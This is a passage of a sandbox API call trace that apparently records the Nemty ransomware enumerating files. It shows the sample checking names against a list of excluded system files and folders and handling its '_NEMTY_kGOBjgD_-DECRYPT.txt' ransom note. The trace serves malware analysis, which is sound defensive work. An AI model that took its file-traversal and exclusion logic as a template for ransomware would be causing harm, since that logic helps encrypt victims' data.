HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.827] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0169.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0169.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.828] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdcedd0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xcdcedd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xcdcedd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0169.828] FindClose (in: hFindFile=0x3423a30 | out: hFindFile=0x3423a30) returned 1 [0169.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0169.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a0 | out: hHeap=0x4f90000) returned 1 [0169.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94218 | out: hHeap=0x4f90000) returned 1 [0169.828] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b25830, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf4b25830, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf4b25830, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0169.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0169.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0169.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0169.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0169.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0169.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0169.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0169.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0169.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0169.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0169.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0169.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0169.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0169.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0169.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0169.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0169.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0169.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0169.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0169.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0169.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0169.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0169.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0169.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0169.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.829] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b25830, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf4b25830, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf4b25830, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0169.829] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0169.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0169.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b0 | out: hHeap=0x4f90000) returned 1 [0169.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94148 | out: hHeap=0x4f90000) returned 1 [0169.830] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d8b118c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7d8b118c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x43f45420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15600, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="sbdrop.dll", cAlternateFileName="")) returned 1 [0169.830] lstrcmpiW (lpString1="sbdrop.dll", lpString2=".") returned 1 [0169.830] lstrcmpiW (lpString1="sbdrop.dll", lpString2="..") returned 1 [0169.830] lstrcmpiW (lpString1="sbdrop.dll", lpString2="...") returned 1 [0169.830] lstrcmpiW (lpString1="sbdrop.dll", lpString2="windows") returned -1 [0169.830] lstrcmpiW (lpString1="sbdrop.dll", lpString2="$RECYCLE.BIN") returned 1 [0169.830] lstrcmpiW (lpString1="sbdrop.dll", lpString2="rsa") returned 1 [0169.830] lstrcmpiW (lpString1="sbdrop.dll", lpString2="NTDETECT.COM") returned 1 [0169.830] lstrcmpiW (lpString1="sbdrop.dll", lpString2="ntldr") returned 1 [0169.830] lstrcmpiW (lpString1="sbdrop.dll", lpString2="MSDOS.SYS") returned 1 [0169.830] lstrcmpiW (lpString1="sbdrop.dll", lpString2="IO.SYS") returned 1 [0169.830] lstrcmpiW (lpString1="sbdrop.dll", lpString2="boot.ini") returned 1 [0169.830] lstrcmpiW (lpString1="sbdrop.dll", lpString2="boot.ini") returned 1 [0169.830] lstrcmpiW (lpString1="sbdrop.dll", lpString2="AUTOEXEC.BAT") returned 1 [0169.830] lstrcmpiW (lpString1="sbdrop.dll", lpString2="ntuser.dat") returned 1 [0169.830] lstrcmpiW (lpString1="sbdrop.dll", lpString2="desktop.ini") returned 1 [0169.830] lstrcmpiW (lpString1="sbdrop.dll", lpString2="CONFIG.SYS") returned 1 [0169.830] lstrcmpiW (lpString1="sbdrop.dll", lpString2="RECYCLER") returned 1 [0169.830] lstrcmpiW (lpString1="sbdrop.dll", lpString2="BOOTSECT.BAK") returned 1 [0169.830] lstrcmpiW (lpString1="sbdrop.dll", lpString2="bootmgr") returned 1 [0169.830] lstrcmpiW (lpString1="sbdrop.dll", lpString2="programdata") returned 1 [0169.830] lstrcmpiW (lpString1="sbdrop.dll", lpString2="appdata") returned 1 [0169.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sbdrop.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0169.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sbdrop.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sbdrop.dll", lpUsedDefaultChar=0x0) returned 10 [0169.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sbdrop.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0169.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sbdrop.dll", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sbdrop.dll", lpUsedDefaultChar=0x0) returned 10 [0169.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sbdrop.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0169.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sbdrop.dll", cchWideChar=10, lpMultiByteStr=0x653f5e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sbdrop.dll", lpUsedDefaultChar=0x0) returned 10 [0169.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sbdrop.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0169.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sbdrop.dll", cchWideChar=10, lpMultiByteStr=0x653f618, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sbdrop.dll", lpUsedDefaultChar=0x0) returned 10 [0169.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94148 [0169.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940e0 | out: hHeap=0x4f90000) returned 1 [0169.831] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80497579, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf43439, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf43439, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="settings.ini", cAlternateFileName="")) returned 1 [0169.831] lstrcmpiW (lpString1="settings.ini", lpString2=".") returned 1 [0169.831] lstrcmpiW (lpString1="settings.ini", lpString2="..") returned 1 [0169.831] lstrcmpiW (lpString1="settings.ini", lpString2="...") returned 1 [0169.831] lstrcmpiW (lpString1="settings.ini", lpString2="windows") returned -1 [0169.831] lstrcmpiW (lpString1="settings.ini", lpString2="$RECYCLE.BIN") returned 1 [0169.831] lstrcmpiW (lpString1="settings.ini", lpString2="rsa") returned 1 [0169.831] lstrcmpiW (lpString1="settings.ini", lpString2="NTDETECT.COM") returned 1 [0169.831] lstrcmpiW (lpString1="settings.ini", lpString2="ntldr") returned 1 [0169.831] lstrcmpiW (lpString1="settings.ini", lpString2="MSDOS.SYS") returned 1 [0169.831] lstrcmpiW (lpString1="settings.ini", lpString2="IO.SYS") returned 1 [0169.831] lstrcmpiW (lpString1="settings.ini", lpString2="boot.ini") returned 1 [0169.831] lstrcmpiW (lpString1="settings.ini", lpString2="boot.ini") returned 1 [0169.831] lstrcmpiW (lpString1="settings.ini", lpString2="AUTOEXEC.BAT") returned 1 [0169.831] lstrcmpiW (lpString1="settings.ini", lpString2="ntuser.dat") returned 1 [0169.831] lstrcmpiW (lpString1="settings.ini", lpString2="desktop.ini") returned 1 [0169.831] lstrcmpiW (lpString1="settings.ini", lpString2="CONFIG.SYS") returned 1 [0169.831] lstrcmpiW (lpString1="settings.ini", lpString2="RECYCLER") returned 1 [0169.831] lstrcmpiW (lpString1="settings.ini", lpString2="BOOTSECT.BAK") returned 1 [0169.831] lstrcmpiW (lpString1="settings.ini", lpString2="bootmgr") returned 1 [0169.831] lstrcmpiW (lpString1="settings.ini", lpString2="programdata") returned 1 [0169.831] lstrcmpiW (lpString1="settings.ini", lpString2="appdata") returned 1 [0169.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.ini", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0169.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.ini", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.ini", lpUsedDefaultChar=0x0) returned 12 [0169.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.ini", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0169.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.ini", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.ini", lpUsedDefaultChar=0x0) returned 12 [0169.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.ini", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0169.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.ini", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.ini", lpUsedDefaultChar=0x0) returned 12 [0169.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.ini", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0169.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.ini", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.ini", lpUsedDefaultChar=0x0) returned 12 [0169.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0169.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94148 | out: hHeap=0x4f90000) returned 1 [0169.832] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 1 [0169.832] lstrcmpiW (lpString1="Shared Gadgets", lpString2=".") returned 1 [0169.832] lstrcmpiW (lpString1="Shared Gadgets", lpString2="..") returned 1 [0169.832] lstrcmpiW (lpString1="Shared Gadgets", lpString2="...") returned 1 [0169.832] lstrcmpiW (lpString1="Shared Gadgets", lpString2="windows") returned -1 [0169.832] lstrcmpiW (lpString1="Shared Gadgets", lpString2="$RECYCLE.BIN") returned 1 [0169.832] lstrcmpiW (lpString1="Shared Gadgets", lpString2="rsa") returned 1 [0169.832] lstrcmpiW (lpString1="Shared Gadgets", lpString2="NTDETECT.COM") returned 1 [0169.832] lstrcmpiW (lpString1="Shared Gadgets", lpString2="ntldr") returned 1 [0169.832] lstrcmpiW (lpString1="Shared Gadgets", lpString2="MSDOS.SYS") returned 1 [0169.832] lstrcmpiW (lpString1="Shared Gadgets", lpString2="IO.SYS") returned 1 [0169.832] lstrcmpiW (lpString1="Shared Gadgets", lpString2="boot.ini") returned 1 [0169.832] lstrcmpiW (lpString1="Shared Gadgets", lpString2="boot.ini") returned 1 [0169.832] lstrcmpiW (lpString1="Shared Gadgets", lpString2="AUTOEXEC.BAT") returned 1 [0169.832] lstrcmpiW (lpString1="Shared Gadgets", lpString2="ntuser.dat") returned 1 [0169.832] lstrcmpiW (lpString1="Shared Gadgets", lpString2="desktop.ini") returned 1 [0169.832] lstrcmpiW (lpString1="Shared Gadgets", lpString2="CONFIG.SYS") returned 1 [0169.832] lstrcmpiW (lpString1="Shared Gadgets", lpString2="RECYCLER") returned 1 [0169.832] lstrcmpiW (lpString1="Shared Gadgets", lpString2="BOOTSECT.BAK") returned 1 [0169.832] lstrcmpiW (lpString1="Shared Gadgets", lpString2="bootmgr") returned 1 [0169.832] lstrcmpiW (lpString1="Shared Gadgets", lpString2="programdata") returned 1 [0169.832] lstrcmpiW (lpString1="Shared Gadgets", lpString2="appdata") returned 1 [0169.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shared Gadgets", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0169.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shared Gadgets", cchWideChar=14, lpMultiByteStr=0x653f590, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Shared Gadgets", lpUsedDefaultChar=0x0) returned 14 [0169.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.832] WideCharToMultiByte (in: 